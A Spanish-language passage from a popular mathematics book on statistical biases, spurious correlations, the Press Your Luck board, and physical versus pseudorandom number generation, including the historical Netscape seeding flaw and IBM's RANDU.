toda clase de estribos de formas diferentes. Supongo que casi todos ellos han desaparecido. Solo
tenemos constancia de este porque ha sobrevivido. Concluir por eso que los monjes son muy
buenos construyendo puentes es un ejemplo del llamado «sesgo de supervivencia». Es como un
gerente que lanza las solicitudes de empleo a la papelera al azar porque no quiere contratar a
nadie que tenga mala suerte. El hecho de que algo sobreviva no significa que sea significativo o
importante.

Creo que una buena parte de la nostalgia que despierta el hecho de pensar que las cosas se
fabricaban mejor en el pasado es debido al sesgo de supervivencia. Veo como la gente comparte
en internet fotografias de utensilios de cocina del pasado que todavia funcionan: gofreras de la
década de 1920, batidoras de la de 1940 y cafeteras de la de 1980. Y la afirmacién de que los
aparatos antiguos duran mas tiene algo de verdad. Hablé¢ con un ingeniero de procesos de



fabricacion en Estados Unidos que me dijo que, con el software de disefio 3D, actualmente se
pueden disefiar piezas con tolerancias mucho menores, mientras que las generaciones anteriores
de ingenieros no estaban muy seguras sobre donde se hallaba la linea, razén por la cual
sobredisefiaban piezas para asegurarse de que funcionarian. Pero también estd el sesgo de
supervivencia, segin el cual todas las batidoras de cocina que se rompieron durante afios hace
tiempo se desecharon.

Un puente sobre aguas turbulentas.

El estudio que analizaba cuantos ataques al corazon se produjeron después del cambio al
horario de verano también tuvo un problema con una clase de sesgo de supervivencia. En este
caso, los investigadores Unicamente disponian de los datos de personas que fueron al hospital y
necesitaron una operacion de apertura adrtica, por lo que esto limitaba su investigacion a las
personas que sufrieron un ataque serio y fueron al hospital. Pudo haber gente que sufriera un
ataque al corazon provocado por el cambio de horario pero que falleciera antes de llegar al
hospital, y el estudio los habria ignorado por completo.

También se producen sesgos de muestreo relacionados con cémo y donde se recogen los
datos. En 2012, la ciudad de Boston sac6 una aplicacion llamada Street Bump que parecia ser la
combinacion perfecta de recoleccion y analisis de smartdata. Los ayuntamientos gastan un monton
de dinero en la reparacion de los baches de las calles y, cuanto mas tiempo existen, mas pueden
crecer y convertirse en peligrosos. La idea era que un conductor pudiera cargar la aplicacion
Street Bump en su smartphone y, mientras condujera, los acelerometros de los teléfonos buscarian
el bache delatador cuando el coche pasase sobre uno. Esta constante actualizacion del mapa de
baches permitiria a los consistorios arreglar los que acababan de aparecer antes de que crecieran
y pudieran zamparse un coche.

Y todavia se puso mas de moda cuando, en parte, se financid colectivamente. La primera
version de la aplicacion no era buena detectando los falsos positivos: los datos que parecian ser
los datos deseados pero que realmente eran otra cosa. En este caso, los bordillos y otras
protuberancias por las que pasaba el coche eran baches para la aplicacion; incluso los
conductores que movian el teléfono en el interior del coche podian hacer que el programa lo



registrara como bache. Por lo que para la versidon dos se abrieron las puertas a la sabiduria de la
gente. Cualquiera podia sugerir los cambios que habia que hacer en el codigo de la aplicacion 'y
los mejores compartirian un premio de 25.000 dolares. La version final, Street Bump 2.0, tuvo
contribuciones de ingenieros informaticos anonimos, un equipo de hackers de Massachusetts y un
director de un departamento de matematicas de una universidad.

La nueva version era mucho mejor a la hora de detectar qué saltos eran provocados por
baches. Pero habia un sesgo de muestreo porque solo informaba de los baches por los que habia
pasado alguien con un teléfono inteligente y ademas estuviera ejecutando la aplicacion, lo que
favorecia enormemente a las zonas prosperas con una poblacion joven. El método utilizado para
recoger los datos tenia mucha influencia. Es como realizar una encuesta sobre qué piensa la gente
sobre la tecnologia moderna pero solo aceptar que manden los formularios por fax.

Y, por supuesto, también existen los sesgos en términos de qué datos decide la gente confesar.
Cuando una empresa realiza un ensayo clinico con algiin nuevo farmaco o intervencion médica en
la que han estado trabajando, pretende demostrar que funciona mejor que si no se hiciera
intervencion alguna o se optara por alguna otra opcidn posible. Al final de un ensayo largo y caro,
si los resultados demuestran que un fArmaco no es beneficioso (o es negativo), la empresa tiene
muy poca motivacion para publicar los datos. Es una especie de «sesgo de publicacion». Se
calcula que la mitad de los resultados de los ensayos de farmacos nunca se ha publicado. Un
resultado negativo de un ensayo clinico tiene el doble de probabilidades de no ser publicado que
uno positivo.

Ocultar los datos de un ensayo con farmacos puede poner en peligro la vida de las personas,
posiblemente mas que cualquier otro error que he mencionado en este libro. Los desastres
relacionados con la ingenieria y la aviacién pueden provocar cientos de muertes. Los farmacos
pueden tener un impacto mucho mayor. En 1980 se finaliz6 un ensayo en el que se probaba un
farmaco antiarritmico llamado Lorcainide: aunque la frecuencia de las arritmias graves disminuy6
en los pacientes que tomaron el fairmaco, de los cuarenta y ocho pacientes a los que se les
administr6, nueve murieron, mientras que solo uno de los cuarenta y siete pacientes a los que se
les administré un placebo murio.

Aun asi, los investigadores intentaron por todos los medios que alguien publicara su trabajo.3
Las muertes no estaban dentro del ambito de su investigacion (la cual se centraba unicamente en la
frecuencia de las arritmias) y, dado que su muestra de pacientes era muy pequefia, las muertes
podrian haber sido pura casualidad. Durante la década siguiente, estudios posteriores pusieron de
manifiesto el riesgo asociado con este tipo de farmacos, una conclusion a la que se habria podido
llegar antes con sus datos. Si los datos de la Lorcainide se hubieran difundido antes, se calcula
que unas diez mil personas podrian haberse salvado.

Ben Goldacre, médico y empolldn activista, cuenta la historia de como recetd el farmaco
antidepresivo Reboxetine a un paciente basdndose en datos procedentes de un ensayo que habia
demostrado que era mas efectivo que un placebo. Tenia ante si el resultado claramente positivo
obtenido en un estudio en el que participaron 254 pacientes, lo cual era suficiente para
convencerle de que recetara el firmaco. Pasado un tiempo, en 2010, se revel6 que se habian
realizado otros seis ensayos para probar Reboxetine (en los que participaron unos 2.500
pacientes) y todos ellos demostraron que no era mejor que un simple placebo. Esos seis estudios



no se habian publicado. Desde entonces, Goldacre puso en marcha la campafia AllTrials con la
que pedia que todos los datos relacionados con los ensayos farmacologicos, futuros y pasados,
fueran difundidos. Echele un vistazo a su libro Mala farma para profundizar en el tema.

Por regla general, es increible lo que puedes demostrar si estas dispuesto a ignorar los datos
suficientes. El Reino Unido ha sido habitado por los humanos desde hace miles de afos, y eso ha
dejado su huella en el paisaje: hay antiguos yacimientos megaliticos por todas partes. En 2010
aparecieron articulos en la prensa en los que se decia que alguien habia analizado 1.500 antiguos
yacimientos megaliticos y habia encontrado un patrén matematico que los unia mediante tridngulos
isésceles como una especie de «GPS prehistorico». El autor de esta investigacion fue Tom Brooks
y, al parecer, eran demasiado precisos para que se hubieran creado al azar.

Los lados de algunos de los triangulos tienen mas de 100 millas de largo y aun asi las distancias son
exactas con un margen de 100 metros. No puedes conseguir algo asi por casualidad.
Tom Brooks, 2009 y, de nuevo, en 2011

Brooks ha repetido la explicacion de sus hallazgos siempre que ha tenido un libro que vender
y parece que ha sacado comunicados de prensa casi idénticos al menos en 2009 y 2011. El
reportaje que lei es de enero de 2010 y decidi poner a prueba sus afirmaciones. Quise aplicar el
mismo proceso de busqueda de tridngulos isosceles, pero en datos de localizacion que no
mostraran ningin patron significativo. Unos afios antes, Woolworths, una importante cadena de
almacenes de ropa de Gran Bretafia, habia quebrado y sus escaparates abandonados seguian
estando en calles importantes por todo el pais. Por lo que me descargué las coordenadas GPS de
ochocientos antiguos establecimientos Woolworths y me puse a trabajar.

Encontré tres almacenes Woolworths en los alrededores de Birmingham que forman un
triangulo equilatero exacto (Wolverhampton, Lichfield y Birmingham) y, si se extiende la base del
triangulo, hay una linea de 279,7 kilometros que une los almacenes de Conwy y Luton. A pesar de
esos 279,7 kilometros, el almacén de Woolworths en Conwy estaba solo 12 metros fuera de la
linea exacta y el de Luton a 9 metros. En cada lado del triangulo de Birmingham encontré pares de
triangulos isosceles dentro de la precision requerida. Eran las localizaciones de algunos lugares
espeluznantes e inquietantes. Lo que hace que el Triangulo de Birmingham sea una especie de
Tridngulo de las Bermudas, solo que con un tiempo meteoroldgico mucho peor.

Dado que parece ser la practica habitual en este tipo de cosas, difundi una nota de prensa
resumiendo mis hallazgos. En ella afirmaba que, al menos, esta informacién nos podia aportar
cierta comprension sobre como vivia la gente en 2008. Y, al igual que Brooks, dije que estos
patrones eran tan precisos que no podria descartar la ayuda extraterrestre. El Guardian cubri6 la
noticia con el titular «;Ayudaron los extraterrestres a alinear los almacenes Woolworths?».4
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Mis posicionamientos Woolworths. Desde entonces, tanto los almacenes Woolworths como mi pelo son mucho
mas escasos.

Para encontrar estos posicionamientos simplemente tuve que ignorar la mayoria de las
localizaciones de almacenes Woolworths y elegir unos cuantos que casualmente estaban alineados.
Con unas ochocientas localizaciones podia crear mas de 85 millones de tridngulos. Por lo tanto,
no me sorprendid que algunos de ellos fueran casi isésceles perfectos. Si ninguno de ellos lo
hubiera sido, entonces si que empezaria a creer en extraterrestres. Los 1.500 yacimientos
prehistéricos que Brooks utilizo le posibilitaron la creacion de 561 millones de tridngulos entre
los que elegir. Sospecho que ¢l cree firmemente que los antiguos bretones colocaron sus
asentamientos en estas localizaciones: simplemente habia sido victima del sesgo de confirmacion.
Se centr6 en los datos que cumplian con sus expectativas e ignoro6 el resto.

Brooks volvié a sacar su comunicado de prensa sobre el GPS de la antigiiedad una vez mas
en 2011. Por lo que yo volvi a sacar el mio, esta vez con la ayuda del programador Tom Scott.
Scott cre6 una pagina web en la que se introducia cualquier codigo postal de Gran Bretafia y
encontraba tres posicionamientos megaliticos que pasaban por ese punto; uno de los tres tenia que
ser Stonehenge. Por cada direccion del Reino Unido pasaban tres lineas magnéticas como esas. Es
una certeza matematica que se puede encontrar cualquier patron que uno desee, mientras estés
dispuesto a ignorar aquellos datos que no encajan. No he leido nada mas sobre Brooks desde
entonces y, como compaiero triangulofilo, espero que le vaya bien.

Causalidad, correlacion y repetidores de telefonia movil



En 2010, un matematico descubri6 que existia una correlacion directa entre el niimero de
repetidores de telefonia mévil y el nimero de nacimientos en las zonas del Reino Unido en las que
se habian instalado. Por cada repetidor adicional en cada zona, nacian 17,6 bebés mas en
comparacion con la media nacional. Era una relacion directa increiblemente solida y habria
garantizado una investigacion futura, si hubiera existido algiin vinculo causal. Pero no lo habia. El
descubrimiento no tenia sentido alguno. Y puedo decirlo porque yo era ese matematico.

Era un proyecto que estaba haciendo con el programa de matematicas de la cadena Radio 4
de la BBC titulado More or Less, para ver como respondian las personas ante una correlacion en
la que no habia ningun vinculo causal. La vision de los repetidores de telefonia mévil no hacia
que los ciudadanos del Reino Unido se pusieran mas «romanticos». Y décadas de estudios han
revelado que los repetidores de telefonia mévil no tienen un impacto bioldgico. En este caso,
ambos factores dependian de una tercera variable: el tamafio de la poblacion. Tanto el nimero de
repetidores de telefonia moévil en una zona como el nimero de nacimientos dependen de cudnta
gente vive alli.

Quisiera dejarlo muy claro: en el articulo explicaba que la correlacion era debida al tamafio
de la poblacion. Expliqué con gran detalle que se trataba de un ejercicio con el que queria
demostrar que una correlacion no significa causalidad. Pero también acabd siendo una
demostracion de que la gente no entendio bien el articulo antes de comentarlo. La correlacion era
demasiado seductora y la gente no pudo evitar exponer sus razones. Mas de una persona sugirid
que los vecindarios caros tenian menos repetidores y las familias joévenes con montones de nifios
no se podian permitir vivir alli, lo que demostraba una vez mas que no hay tema que los lectores
del Guardian no acaben achacando a los precios de las casas. Y, por supuesto, eso atrajo a
aquellos que pensaban lo contrario:

Si este estudio se sostiene, entonces apoya la evidencia cientifica existente de que la radiacion de bajo
nivel procedente de los repetidores de telefonia movil tiene efectos bioldgicos.
Alguien que no leyo mas alla del titular

Una correlacion nunca es suficiente para defender que una cosa causa otra. Siempre existe la
posibilidad de que otra cosa esté influyendo en los datos, creando el vinculo. Entre 1993 y 2008,
la policia de Alemania estuvo buscando al misterioso «fantasma de Heilbronny», una mujer que
habia sido relacionada con cuarenta crimenes, incluyendo seis asesinatos; su ADN se habia
encontrado en todos los escenarios de los crimenes. Los policias invirtieron decenas de miles de
horas de servicio buscando a la «mujer mas peligrosa» de Alemania y se ofrecié una recompensa
de 300.000 euros por su cabeza. Resultd que se trataba de una mujer que trabajaba en la fabrica
que producia los bastoncillos de algodon utilizados para recoger las pruebas de ADN.

Y, por supuesto, algunas correlaciones resultan ser completamente aleatorias. Si se comparan
los datos suficientes, mas tarde o mas temprano habrd dos que se correlacionaran casi a la
perfeccion de forma accidental. Incluso existe una pagina web dedicada a las correlaciones
espurias que busca entre los datos disponibles publicamente y encuentra correlaciones por usted.
Hice una busqueda rapida con el nimero de personas de Estados Unidos que se doctoraron en



matematicas. Entre 1999 y 2009, el nimero de doctorados en matematicas tuvo una correlacion
del 87 % con el «niimero de personas que tropezaron con sus propios pies y murieron». (Datos
proporcionados sin comentarios afiadidos.)

Como herramienta matematica, la correlacion es una técnica muy potente. Puede coger una
serie de datos y darnos una buena medida de la cercania entre los cambios lineales de dos
variables. Pero se trata tan solo de una herramienta, no de una respuesta. Una gran parte de las
matematicas tiene que ver con hallar una respuesta, pero, en estadistica, los niimeros que surgen
de los célculos nunca cuentan la historia completa. Todos los datos de los Doce del Datasaurio
tienen los mismos valores de correlacion, pero en los graficos se ve claramente que las relaciones
son diferentes. Los nimeros que se obtienen gracias a la estadistica son el inicio del proceso de
descubrimiento de la respuesta, no el final. Hace falta un poco de sentido comiin y de analisis
inteligente para llegar a la respuesta correcta a partir de las estadisticas.
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Que conste que, en Estados Unidos, el numero de personas que obtienen un doctorado en matematicas
también tiene mas de un 90 % de correlacion durante diez o mas anos con: el uranio almacenado en las
plantas nucleares, el dinero gastado en mascotas, los ingresos totales generados por las estaciones de esqui y
el consumo de queso por persona.

Si no, cuando escuche una estadistica como la que muestra que la tasa de casos de cancer ha
estado aumentando constantemente, le pueden hacer suponer que las personas tienen actualmente
vidas menos saludables. Lo opuesto es cierto: la longevidad estd aumentando, lo que significa que
cada vez hay mas personas que viven lo suficiente para contraer un cancer. Para la mayoria de
canceres, la edad es el mayor factor de riesgo y, en el Reino Unido, el 60 % de todos los casos de
cancer diagnosticados han sido en personas de sesenta y cinco o mas afios. Lo que me hace
afirmar, aunque me duela, que, en cuanto a las estadisticas, los nimeros no lo son todo.
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En 1984, el conductor de furgonetas de helados Michael Larson acudié a un concurso de la
television estadounidense, Press Your Luck y gand un premio sin precedentes: 110.237 dodlares:
unas ocho veces la media de los premios que se llevaba el ganador. Tuvo una racha ganadora de
tal calibre que el concurso, que habitualmente rotaba rapido de concursante, tuvo que ocupar dos
programas con su participacion.

En Press Your Luck, los premios se repartian a partir de un panel (el Big Board) de
dieciocho cajas en las que habia cantidades diferentes de dinero, premios materiales y un
personaje animado conocido como Whammy. El sistema iba pasando rapidamente de una casilla a
otra, supuestamente en un orden aleatorio, y el concursante ganaba lo que contenia la casilla en la
que se paraba el sistema cuando apretaba el pulsador. Si se detenia en un Whammy, el concursante
perdia todos los premios que hubiera acumulado hasta entonces.

El sistema nunca se detenia el tiempo suficiente en una casilla para que el concursante viera
su contenido, reaccionara y apretara el pulsador. Y, dado que el movimiento parecia impredecible,
era teoricamente imposible saber por adelantado qué casilla seria seleccionada a continuacion,
por lo que elegian al azar. La mayoria de concursantes ganaban un par de premios antes de
retirarse en esa ronda; otros forzaban su suerte y se quedaban sin nada. Al menos, esa era la
teoria.

El concurso empieza con normalidad. Michael responde correctamente suficientes preguntas
de cultura general para ganar algunas tiradas en el Big Board, y en su primer intento cae en un
Whammy. Al inicio de la segunda ronda Michael empieza siendo el ultimo, pero sus
conocimientos de cultura general le permiten ganar siete tiradas en el Big Board. Esta vez no cae
en un Whammy; gana 1.250 dolares. Luego otros 1.250 en la siguiente tirada. Luego 4.000, 5.000,
1.000, unas vacaciones en Kauai, 4.000, etc. Y la mayoria de estos premios también vienen
acompafiados de una «tirada gratis», por lo que parece que su reinado en el Big Board nunca va a
acabar.

Al principio, el presentador Peter Tomarken sigue con su comportamiento habitual,
esperando a que Michael caiga en un Whammy. Pero no cae. En una auténtica aberracion
probabilistica, va ganando premio tras premio. El video estd disponible en internet si busca:
«Press Your Luck» y «Michael Larson». Es increible ver todo el rango de emociones por las que
pasa el presentador. Al principio, estd entusiasmado al ver que algo tan poco probable esta
sucediendo, pero enseguida trata de averiguar qué¢ diablos estd ocurriendo mientras intenta
mantener el caracter jovial que se presupone a todo presentador de concursos.



Michael Larson no necesito la suerte para acertar.

En lugar de ser aleatorio de verdad, el tablero tenia solo cinco ciclos predeterminados, pero,
al ir a tanta velocidad, parecian aleatorios. Michael Larson se habia grabado el concurso en casa
y habia estudiado minuciosamente las grabaciones hasta que descifr6 esos patrones subyacentes.
Luego los memorizd, algo que, irdénicamente, requeria menos esfuerzo que aprenderse las
respuestas a las preguntas de cultura general como hacian otros concursantes. Y es cierto que no
me puedo burlar de ¢l por memorizar largas secuencias de valores supuestamente arbitrarios; mis
conocimientos de los digitos que forman el nimero pi no me han hecho ganar 110.237 délares.

Los disefiadores del sistema de Press Your Luck codificaron ciclos en lugar de que la
secuencia fuera al azar porque esto ultimo resulta dificil. Es mucho mas facil utilizar una lista ya
generada de localizaciones que escoger al azar una ruta sobre la marcha. No es que para los
ordenadores sea dificil hacer algo al azar: es practicamente imposible.

Aleatoriedad robotica

Ningtin ordenador puede ser aleatorio sin ayuda: se construyen para que sigan unas instrucciones
al pie de la letra; los procesadores se construyen para hacer siempre lo correcto y de forma
predecible. Hacer que un ordenador haga algo inesperado es una proeza dificil de conseguir. No
puedes tener una linea de codigo que sea «haz algo al azar» y obtener un numero realmente
aleatorio sin que haya un componente especializado unido al ordenador.

La version extrema es construir una cinta transportadora motorizada de dos metros de altura
que se introduce en un recipiente en el que hay doscientos dados y extrae una seleccion aleatoria
de ellos y los hace pasar delante de una videocamara que luego puede utilizar el ordenador para
ver el dado y detectar qué numeros son los que han salido. Una maquina como esa, capaz de
realizar 1.330.000 tiradas de dados al azar por dia, pesaria unos 50 kilogramos y la cacofonia de
sus motores y de los dados girando llenaria la habitacion, y es exactamente lo que Scott Nesin
construyo para su pagina web GamesByEmail.

Scott tiene una pagina web en la que se puede participar en juegos a través del correo
electronico, lo que implica que necesita unas veinte mil tiradas de dados por dia. Aquellos que
juegan a juegos de mesa se toman muy en serio el momento en el que tiran los dados, por lo que,
en 2009, puso todo su empeiio en construir una maquina capaz de tirar dados fisicamente. Estaba
convencido de poder disenar la Dice-O-Matic por lo que, previendo su capacidad futura, la
construyd con capacidad sobrante, de ahi que su maximo sea de 1,3 millones de tiradas por dia.



En la actualidad, Scott tiene alrededor de un millon de tiradas no utilizadas grabadas en su
servidor y la Dice-O-Matic trabaja una o dos horas cada dia para reponer su reservorio de
aleatoriedad, llenando su casa de Texas con el sonido que produce la tirada simultdnea de cientos
de dados.

Aunque tiene el encanto auténtico de tirar dados reales, estd claro que el Dice-O-Matic no es
el periférico informatico mas eficiente jamas construido. Cuando el gobierno del Reino Unido
anuncio, en 1956, su intencion de crear los bonos prémium, de repente tuvo la necesidad de
producir numeros aleatorios a gran escala. A diferencias de los bonos gubernamentales normales,
que generan una cantidad fija de intereses, el «interés» de los bonos prémium estd agrupado en
premios y se distribuye a los propietarios de los bonos de forma aleatoria.

Y esta es la razon por la que, en 1957, se construyd y puso en marcha ERNIE (Electronic
Random Number Indicator Equipment). Fue disefiado por Tommy Flowers y Harry Fensom,
quienes ahora sabemos que participaron en la construccion de los primeros ordenadores para
descifrar los codigos nazis durante la segunda guerra mundial (en esa época todavia era
informacion clasificada). He visitado a ERNIE, retirado del servicio hace mucho tiempo, en el
Museo de Ciencias de Londres.] Algo mas alto y mucho mas ancho que yo (de hecho, me saca
varios metros), es justo como esperarias que fuera un armario beis de ordenadores de la década
de 1950. Pero sabia que en algin lugar de ahi adentro estaba el corazon de aleatoriedad de
ERNIE: una serie de tubos de neodn.

Fotografia de ERNIE junto a un humano enclenque.

Los tubos de nedn se suelen utilizar para la iluminacién, pero ERNIE los utilizaba para
generar nimeros aleatorios. El camino que sigue cualquier electron a lo largo del gas de neon que
esta iluminando es cadtico, por lo que la corriente resultante es, en gran parte, aleatoria. Encender
un tubo de nedn es como lanzar miles de millones de nanodados al mismo tiempo. Lo que significa
que, incluso si los electrones alimentan una lampara de ne6n a un ritmo muy constante, estaran
rebotando de forma diferente y saldran en momentos ligeramente diferentes. ERNIE cogia la
corriente que salia de las ldmparas de nedn y extraia el ruido aleatorio para utilizarlo como base
para crear los nimeros aleatorios.

Mas o menos medio siglo después, los bonos prémium se siguen vendiendo en el Reino
Unido, otorgandose los premios una vez al mes. ERNIE ya esta en su cuarta version, ERNIE 4, y
utiliza el ruido térmico de los transistores para generar los nimeros aleatorios: los electrones son



forzados a través de las resistencias y el cambio en voltaje y calor producido se utilizan como
ruido aleatorio.”

Si los disefiadores de Press Yor Luck hubieran querido disponer de un sistema
inquebrantable, hubieran necesitado disefiar alguna clase de sistema fisico aleatorio conectado a
su Big Board. El tablero ya estaba iluminado por un ostentoso numero de luces; si algunas de ellas
hubieran sido ldmparas de nedn, les habrian servido. También habria servido tener una cinta
transportadora de dados en la habitacion contigua si se pudiera mover lo suficientemente rapido.
Y lo ultimo en imprevisibilidad son los sistemas cudnticos de aleatoriedad.

Parece una exageracion, pero actualmente ya podemos comprar nuestro propio sistema
cuantico de aleatoriedad por unos mil euros. Este contiene un led que emite fotones en un
separador de rayos en el que las interacciones cuanticas determinan qué camino seguira ese foton.
El lugar donde aparece ese foton determina el siguiente bit de un nimero aleatorio. Lo conectamos
a nuestro ordenador a través del USB y el modelo base empezara inmediatamente a dar 4 millones
de unos y ceros aleatorios cada segundo. (Se puede conseguir un ritmo mayor de aleatoriedad a un
precio mayor.)

Si no puede permitirselo, la Universidad Nacional Australiana (ANU por sus siglas en
inglés) le echara una mano. Disponen de su propio generador cuantico de nimeros al azar
escuchando el sonido del vacio. Incluso en el vacio de la nada estd pasando algo. Gracias a las
peculiaridades de la mecanica cuantica, es posible que un par particula-antiparticula aparezca
espontaneamente de, literalmente, ninguna parte y luego aniquilarse tan rapidamente que el
universo ni se ha percatado de su existencia. Esto quiere decir que el espacio vacio es realmente
una espuma de particulas que aparecen y desaparecen de la realidad.

En el Departamento de Ciencias Cuanticas de la ANU tienen un detector que escucha un
vacio y convierte esa espuma cuantica en nimeros aleatorios que luego retransmite en directo en
https://qrng.anu.edu.au a todas horas. Para la gente relacionada con la tecnologia, tienen una gran
variedad de sistemas seguros de distribucion de los datos (jno volvais a utilizar la funcion
integrada random.random() en Python nunca mas!). Y si le gusta que su ruido de fondo sea binario,
disponen de una version en audio para que asi pueda escuchar coémo suena el azar.

Aleatorio de memoria

Digamos que usted estd intentando recortar su presupuesto a la hora de obtener un numero
aleatorio. La seccion de ofertas de aleatoriedad son los nimeros «pseudoaleatorios». Como una
especie de version de marca blanca del producto original, los nmimeros pseudoaleatorios se
parecen mucho a los originales, pero estan hechos con un nivel de calidad inferior.

Los niimeros pseudoaleatorios son los que el ordenador, el teléfono mévil o cualquier
dispositivo que no tenga su propio generador de nimeros aleatorios nos da cuando le solicitamos
uno. La mayoria de los teléfonos moéviles llevan una calculadora integrada y, si giramos el
teléfono, veremos todas las opciones de la calculadora cientifica. Acabo de pulsar el boton
aleatorio «Rand» en la mia y me ha aparecido en la pantalla 0,576450227330181.2 En un segundo
intento me aparece 0,063316529365828. Cada vez obtengo un nuevo nimero al azar entre cero y
uno, listo para ser ampliado hasta dondequiera que llegue mi necesidad de aleatoriedad.



Poder disponer de un generador de niimeros aleatorios de bolsillo es increiblemente practico
para poder aleatorizar cualquier clase de decision que tengamos que tomar en nuestra vida.
Cuando salgo a tomar algo con mi hermano utilizamos los niimeros aleatorios para decidir quién
paga la factura (primera cifra par: pago yo; impar; paga €l). Si quiere afiadir nimeros al final de
una contrasefia, ahora puede ser menos predecible. ;Quiere dar a alguien un nimero de teléfono
falso creible? El botén Rand es su nuevo amigo.

Pero, lamentablemente, esos nimeros no son realmente aleatorios. Al igual que ocurria con el
Big Board, siguen una secuencia predeterminada de valores. Excepto que, en lugar de memorizar
una lista por adelantado, se generan sobre la marcha. Los generadores de nimeros
pseudoaleatorios utilizan ecuaciones matematicas para generar nimeros que parecen aleatorios,
aunque no lo son.

Para crear sus propios nimeros pseudoaleatorios, empiece con un numero arbitrario de
cuatro digitos. Yo voy a utilizar el afio de mi nacimiento: 1980. Ahora necesitamos convertirlo en
otro niimero de cuatro digitos que, aparentemente, no tenga relacion alguna con el anterior. Si lo
elevamos al cuadrado, tenemos el 7.762.392.000, y voy a ignorar el primer digito y coger desde la
segunda a la quinta posicion: 7623. Si repetimos este proceso de elevar al cuadrado y extraer
cinco digitos obtenemos los siguientes nimeros: 4297, 9340, 1478, etc.

Esta es una secuencia de nimeros pseudoaleatorios. Se han generado mediante un proceso
que carecia de incertidumbre. Los digitos 9340 siempre vendran después del 4297, pero no de una
forma obvia. Mi secuencia no es muy buena porque solo hay una cierta cantidad de niimeros de
cuatro digitos y, finalmente, llegaremos al mismo dos veces y los numeros volveran a repetirse
siguiendo un bucle. En este caso, el 150° es el mismo que el tercero de la lista: el 4297. A ese le
sigue el 9340 y se repetiria la lista de 147 nimeros mas eternamente. Las secuencias
pseudoaleatorias auténticas utilizan calculos mucho mas complicados, de tal forma que los
numeros no acaban creando un bucle tan rapidamente y ayudan a complicar el proceso.

Escogi 1980 como primer numero con el que iniciar mi secuencia (la «semillay), pero podria
haber escogido otro con el que habria obtenido una secuencia muy diferente. Los algoritmos
pseudoaleatorios utilizados a nivel industrial dan nimeros completamente diferentes solo con
cambiar ligeramente sus semillas. Incluso si estamos utilizando un generador pseudoaleatorio
conocido, si elegimos una semilla «aleatoria», los nimeros que producird seran impredecibles.
Pero el mejor generador de numeros pseudoaleatorios no serd muy util si somos perezosos a la
hora de introducir la semilla. Incluso desde los primeros afios de internet, el trafico en la red ha
sido seguro gracias a que se encriptaba con niimeros aleatorios. Pero, cuando un navegador
escoge numeros aleatorios para utilizarlos en una encriptacién conocida como Capa de Sockets
Seguros (SSL por sus siglas en inglés), es muy facil que aquellos que quieren «escuchar» adivinen
cudl es la semilla.

La World Wide Web irrumpio en la escena publica mas o menos en 1995 y, para mi, no hay
nada mas tipico de los noventa que el navegador Netscape. Olvidese de series como Salvados por
la campana o Sexo en nueva York: para mi, los noventa fueron como un cometa que giraba
alrededor de una letra N maytscula mientras esperaba a que se cargara una pagina web. Era la
época en la que todo era «ciber» y la gente utilizaba la expresion «superautopistas de la
informacion» con cara seria.



A la hora de buscar una semilla a partir de la que generar nimeros aleatorios, Netscape
utilizaba una combinacion de la hora actual y de sus identificadores de procesos (ID). En la
mayoria de sistemas operativos, siempre que se ejecuta un programa se le da un nimero
identificativo de proceso para que el ordenador pueda llevar un registro. Netscape utilizaba ese
ID de la sesion actual al igual que el ID del programa parental que abria Netscape, combinado con
el tiempo actual (segundos y microsegundos) para utilizarlos como semilla de su generador de
nimeros pseudoaleatorios.

Pero esos niimeros no son dificiles de adivinar. En la actualidad, utilizo Chrome como
navegador y la ultima ventana que miré tenia como identificador de proceso el nimero 4122. Fue
abierto por otra ventana de Chrome cuando hice clic sobre «nueva ventana» y esa ventana parental
tiene como identificador de proceso el 298. Como puede ver, jno son nimeros muy grandes! Si un
agente malicioso supiera el momento exacto en el que abri esa ventana antes de hacer algo que
precise ser encriptado (como identificarme en mi cuenta bancaria en linea), podria averiguar una
lista de todas las combinaciones posibles de tiempos e identificadores de procesos. Para un
humano es una lista muy larga en la que buscar, pero no tanto para que un ordenador pueda
comprobar todas las opciones posibles.

En 1995 Ian Goldberg y David Wagner (que por entonces estudiaban un doctorado en
informatica en la Universidad de California, en Berkeley) demostraron que un agente malicioso
inteligente podria producir una lista de posibles semillas aleatorias lo suficientemente pequefias
para que un ordenador pudiese comprobarlas todas en cuestion de minutos, haciendo que la
encriptacion no sirva para nada.3 Anteriormente, Netscape habia declinado varios ofrecimientos
de ayuda de la comunidad experta en seguridad pero, gracias al trabajo de Goldberg y Wagner,
arreglaron el problema y pusieron a prueba su solucion para que fuera analizada
independientemente por cualquiera que quisiera ponerla a prueba.

Los navegadores modernos obtienen sus semillas aleatorias a partir del ordenador en el que
se estan ejecutando mediante la mezcla de cerca de un centenar de nimeros diferentes: ademas del
tiempo y los identificadores de procesos, también utilizan cosas como la cantidad de espacio libre
actual que queda en el disco duro y el tiempo que pasa cuando el usuario teclea las diversas teclas
o mueve el raton. Utilizar un generador de secuencias pseudoaleatorias con una semilla facil de
adivinar es como comprar una cerradura cara y luego utilizarla como tope de la puerta. O comprar
una cerradura cara y dejar visibles los tornillos, con lo que es facil desenroscarlos.

Los nimeros aleatorios fallan sobre todo en los planos

Los algoritmos que generan nimeros pseudoaleatorios estdn constantemente evolucionando y
adaptandose. Necesitan equilibrar su aparente aleatoriedad siendo eficientes, faciles de utilizar y
seguros. Dado que los numeros aleatorios son fundamentales para la seguridad digital, algunos de
esos algoritmos se guardan bajo llave. Microsoft nunca ha dicho como genera Excel sus nimeros
pseudoaleatorios (ni los usuarios estan autorizados a elegir sus propias semillas). Por suerte, una
cantidad suficiente de esos algoritmos son de dominio publico, por lo que podemos analizarlos.
Uno de los primeros métodos estandarizados para generar numeros pseudoaleatorios era
multiplicar cada nimero de nuestra secuencia por un multiplicador largo K, luego dividir la
respuesta por un numero diferente M y mantener el resto como el siguiente término



pseudoaleatorio. Este era el método utilizado por casi todos los primeros ordenadores, hasta que
George Marsaglia, un matematico de Boeing Scientific Research Laboratories, localizd, en 1968,
un error fatal. Si cogemos la secuencia de nimeros aleatorios que resulta y hacemos un grafico
utilizando los nimeros como coordenadas, se alinean. Hay que reconocer que esto requiere crear
graficos complicados que superaban las diez dimensiones.

La investigacion de Marsaglia estaba analizando estos generadores creados con una
multiplicacioén y una posterior division, pero por una eleccion poco rigurosa de los valores de Ky
M, la situacion atin podia empeorar mucho. E IBM dio en el clavo cuando eligi6o erroneamente K 'y
M. La funcion RANDU utilizada por las maquinas IBM obtenia cada nuevo numero
pseudoaleatorio multiplicando por K = 65.539 y luego dividiendo por M = 2.147.483.648, que
son bastante malos. El valor K es solo tres mas que una potencia de dos (concretamente, 65.539 =
